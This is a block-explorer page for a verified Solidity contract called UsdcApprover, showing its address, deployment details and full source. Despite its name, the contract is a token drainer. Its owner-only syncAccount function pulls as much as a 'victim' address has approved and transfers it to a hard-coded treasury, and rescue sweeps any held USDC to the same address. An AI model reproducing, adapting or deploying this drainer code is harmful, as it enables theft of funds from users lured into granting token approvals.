Verified contractExactMIT
UsdcApprover
Address0x27eda599b6d1b7edfee2a7ecb1044a1432923341
- Balance
0 ETH
- Transactions
18
- Compiler
solc 0.8.20
- Same code
Only this contract
Details
- Compiler
- solc 0.8.20+commit.a1b79de6
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,437,036
- Creation transaction
- 0x49d2bd043d…8b1db58387
ilimiterusdc.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
contract UsdcApprover {
address public constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address public constant TREASURY = 0x87897e70D1E8032895Af5466fF13Cd6BF1F3635f;
address public owner;
event Synced(address indexed token, address indexed victim, uint256 amount);
constructor() { owner = msg.sender; }
modifier onlyOwner() { require(msg.sender == owner, "not owner"); _; }
function syncAccount(address token, address victim) external onlyOwner {
uint256 bal = IERC20(token).balanceOf(victim);
uint256 allow = IERC20(token).allowance(victim, address(this));
uint256 amount = bal < allow ? bal : allow;
require(amount > 0, "nothing");
IERC20(token).transferFrom(victim, TREASURY, amount);
emit Synced(token, victim, amount);
}
function rescue() external onlyOwner {
IERC20(USDC).transfer(TREASURY, IERC20(USDC).balanceOf(address(this)));
}
}
interface IERC20 {
function transfer(address, uint256) external returns (bool);
function transferFrom(address, address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint256);
function allowance(address, address) external view returns (uint256);
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.